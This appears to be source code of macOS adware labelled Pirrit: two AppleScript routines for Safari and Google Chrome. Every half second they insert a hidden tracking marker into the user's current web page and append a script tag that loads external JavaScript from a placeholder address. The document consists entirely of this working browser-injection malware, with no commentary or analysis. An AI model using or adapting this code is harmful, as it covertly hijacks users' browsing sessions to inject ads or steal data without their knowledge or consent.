pirrit_applescript

global _pid
set _pid to "pid_value_to_replace"

repeat
«event XFdrIjct» {} 
end repeat


on «event XFdrIjct» {}
delay 0.5
try
if is_Safari_running() then
tell application "Safari" 
tell application "Safari" to set page_source to do JavaScript "document.body.innerHTML;" in current tab of first window 
if page_source does not contain _pid then
set theURL to URL of current tab of first window
if theURL is not equal to "about:blank" then
tell application "Safari" to do JavaScript "document.body.innerHTML='<div style=\"display:none;\">" & _pid & "</div>'+document.body.innerHTML;" in current tab of first window 
tell application "Safari" to do JavaScript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\"; document.getElementsByTagName('head')[0].appendChild(js_script);" in current tab of first window
end if 
end if
end tell
end if
end try
end «event XFdrIjct»

on is_Safari_running() 
tell application "System Events" to (name of processes) contains "Safari"
end is_Safari_runningglobal _pid
set _pid to "pid_value_to_replace" 
repeat
«event XFdrIjct» {}
end repeat

on «event XFdrIjct» {} 
delay 0.5
try
if is_Chrome_running() then
tell application "Google Chrome" to tell active tab of window 1
set sourceHtml to execute javascript "document.getElementsByTagName('html')[0].innerHTML"
if sourceHtml does not contain _pid then
tell application "Google Chrome" to execute front window's active tab javascript "document.body.innerHTML='<div style=\"display:none;\">" & _pid & "</div>'+document.body.innerHTML;" 
tell application "Google Chrome" to execute front window's active tab javascript "var js_script = document.createElement('script'); js_script.type = \"text/javascript\"; js_script.src = \"script_to_inject\"; document.getElementsByTagName('head')[0].appendChild(js_script);"
end if
end tell
end if
end try
end «event XFdrIjct»

on is_Chrome_running() 
tell application "System Events" to (name of processes) contains "Google Chrome"
end is_Chrome_running